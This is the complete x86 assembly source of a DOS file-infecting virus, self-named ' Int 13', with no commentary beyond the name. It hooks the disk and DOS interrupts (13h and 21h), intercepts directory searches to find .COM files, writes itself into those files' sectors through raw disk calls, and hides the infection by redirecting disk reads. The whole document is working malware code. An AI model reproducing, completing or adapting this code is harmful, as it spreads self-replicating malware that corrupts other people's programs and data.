Code		Segment
		Assume	CS:Code

Old13		=	9Ch
True13		=	9Dh
Saved21		=	9Eh
Temp13		=	9Fh

VStart:		loop	Next	; Virus ID
Next:		push	ax
		mov	di,13h * 4
		push	di
		xor	bp,bp
		mov	ds,bp
		les	bx,[di]
		mov	di,True13 * 4
		mov	[di-4],bx
		mov	[di-2],es
		mov	ah,13h
		int	2Fh
		push	es
		push	bx
		int	2Fh
		mov	es,bp
		mov	si,21h * 4
		pop	ax
		stosw
		pop	ax
		stosw
		push	si
		movsw
		movsw
		mov	ah,52h
		int	21h
		push	es
		pop	ds
		les	ax,[bx+12h]	; ax is now 0000h, i.e. ah is 0.
		push	word ptr es:[bp+2]
		mov	si,100h
		mov	cx,si
		mov	di,bp
		push	si
	rep	movs	word ptr es:[di], cs:[si]
		pop	si
		pop	word ptr ds:[bx+14h]
		push	es
		mov	al, offset Continue	; Let's use it!
		push	ax
		retf

SavedCX		dw	1
SavedDX		dw	0
SavedBX		dw	0
SavedES		dw	0

FileWord	dw	0

SCX		=	offset SavedCX - offset VStart
SDX		=	offset SavedDX - offset VStart

Continue:	mov	es,bp
		pop	di
		mov	al,offset Int21		; Two times!
		stosw
		mov	es:[di],cs
		pop	di
		mov	al,offset Int13		; Three times!
		stosw
		mov	es:[di],cs

		mov	es,[bp+2Ch]	; This assumes SS:
		mov	di,bp
		xchg	ax,bp
		dec	cx
ScanEnv:	repne	scasb
		scasb
		jnz	ScanEnv
		scasw
		push	es
		pop	ds
		mov	dx,di
		mov	ah,3Dh
		int	21h
		jc	NoStart
		mov	dx,si
		xchg	ax,bx
		mov	ah,3Fh
		push	ss
		pop	ds
		int	21h
		mov	ah,3Eh
		int	21h

		pop	ax
		push	ss
		push	si
		push	ss
		pop	es
		retf

NoStart:	mov	ah,4Ch
		int	21h

Int13V:		mov	SavedBX,bx
		mov	SavedCX,cx
		mov	SavedDX,dx
		mov	SavedES,es

Go13:		int	Old13
		jmp	short RetF2

Int13:		cmp	ah,2
		jne	Go13
		push	ds
		push	si
		push	di
		push	cx
		push	dx
		push	es
		push	bx
		push	dx
		int	Old13
		pop	dx
		jc	Exit13
		cmp	word ptr es:[bx],00E2h
		clc
		jne	Exit13
		mov	ax,202h
		mov	cx,es:[bx+SCX]
		mov	dh,byte ptr es:[bx+SDX+1]
		mov	bx,0B800h
		mov	ds,bx
		mov	es,bx
		mov	bh,78h
		int	True13
		jc	Exit13
		mov	si,7A00h
		pop	bx
		mov	di,bx
		pop	es
		mov	cx,100h
	rep	movsw
		jmp	short Exit13_1
Exit13:		pop	bx
		pop	es
Exit13_1:	pop	dx
		pop	cx
		pop	di
		pop	si
		pop	ds
RetF2:		retf	2

Int21:		cmp	ah,12h
		je	FindNext
		int	Saved21
		jmp	RetF2
FindNext:	int	Saved21
		cmp	al,0
		jnz	RetF2
		push	ax
		push	bx
		push	ds
		push	es
		mov	ah,2Fh
		int	Saved21
		push	es
		pop	ds
		mov	ax,'MO'
		cmp	ax,[bx+17]
		jne	Exit1
		cmp	ax,[bx+9]
		je	Exit1
		mov	al,[bx+7]
		add	al,'@'
		push	cx
		push	dx
		mov	cx,[bx+36]
		mov	dx,200h
		cmp	cx,dx
		jb	Exit2
		dec	cx
		test	ch,10b
		jz	Infect
		cmp	al,'C'
		jb	Exit2
		test	ch,100b
		jz	Infect
Exit2:		pop	dx
		pop	cx
Exit1:		pop	es
		pop	ds
		pop	bx
		pop	ax
		jmp	RetF2

Infect:		push	si
		push	di
		push	cs
		pop	es
		mov	di,dx
		lea	si,[bx+8]
		mov	ah,':'
		stosw
		movsw
		movsw
		movsw
		movsw
		mov	al,'.'
		stosb
		movsw
		movsb
		xor	ax,ax
		stosb

		mov	ds,ax
		mov	es,ax
		mov	si,13h * 4
		mov	di,Temp13 * 4

		push	si
		push	di
		push	es

		movsw
		movsw

		mov	word ptr [si-4], offset Int13V
		mov	[si-2], cs

		push	cs
		pop	ds

		mov	ah,3Dh
		int	Saved21
		xchg	ax,bx
		mov	ax,4202h
		mov	cx,-1
		mov	dx,cx
		int	Saved21		; DX must now be zero (.COM)
Go:		mov	ah,3Fh
		mov	dl,offset FileWord
		mov	di,dx
		neg	cx		; mov	cx,1
		int	Saved21
		push	[di-8]
		push	[di-6]
		mov	ax,4200h
		xor	cx,cx		; can it be inc cx ??
		xor	dx,dx
		int	Saved21
		mov	ah,3Fh
		mov	dx,di
		mov	cl,2
		int	Saved21
		mov	ax,[di]
		pop	dx
		pop	cx
		cmp	ax,00E2h
		je	Close
		cmp	ax,5A4Dh
		je	Close
		mov	ax,202h
		push	cx
		push	dx
		mov	bx,0B800h
		mov	es,bx
		mov	bh,78h
		int	True13
		lds	si,[di-4]
		push	di
		mov	di,7A00h
		mov	cx,100h
	rep	movsw
		pop	di
		mov	ax,302h
		pop	dx
		pop	cx
		push	cx
		push	dx
		int	True13
		pop	dx
		pop	cx
		mov	ax,301h
		xchg	cx,cs:[di-8]
		xchg	dx,cs:[di-6]
		push	cs
		pop	es
		xor	bx,bx
		int	True13
Close:		mov	ah,3Eh
		int	Saved21

		pop	es
		pop	si
		pop	di

		movs	word ptr es:[di], es:[si]
		movs	word ptr es:[di], es:[si]

		pop	di
		pop	si
		jmp	Exit2

VName		db	' Int 13'

VEnd		label	byte
VLen		=	offset VEnd - offset VStart

Code		EndS
		End	VStart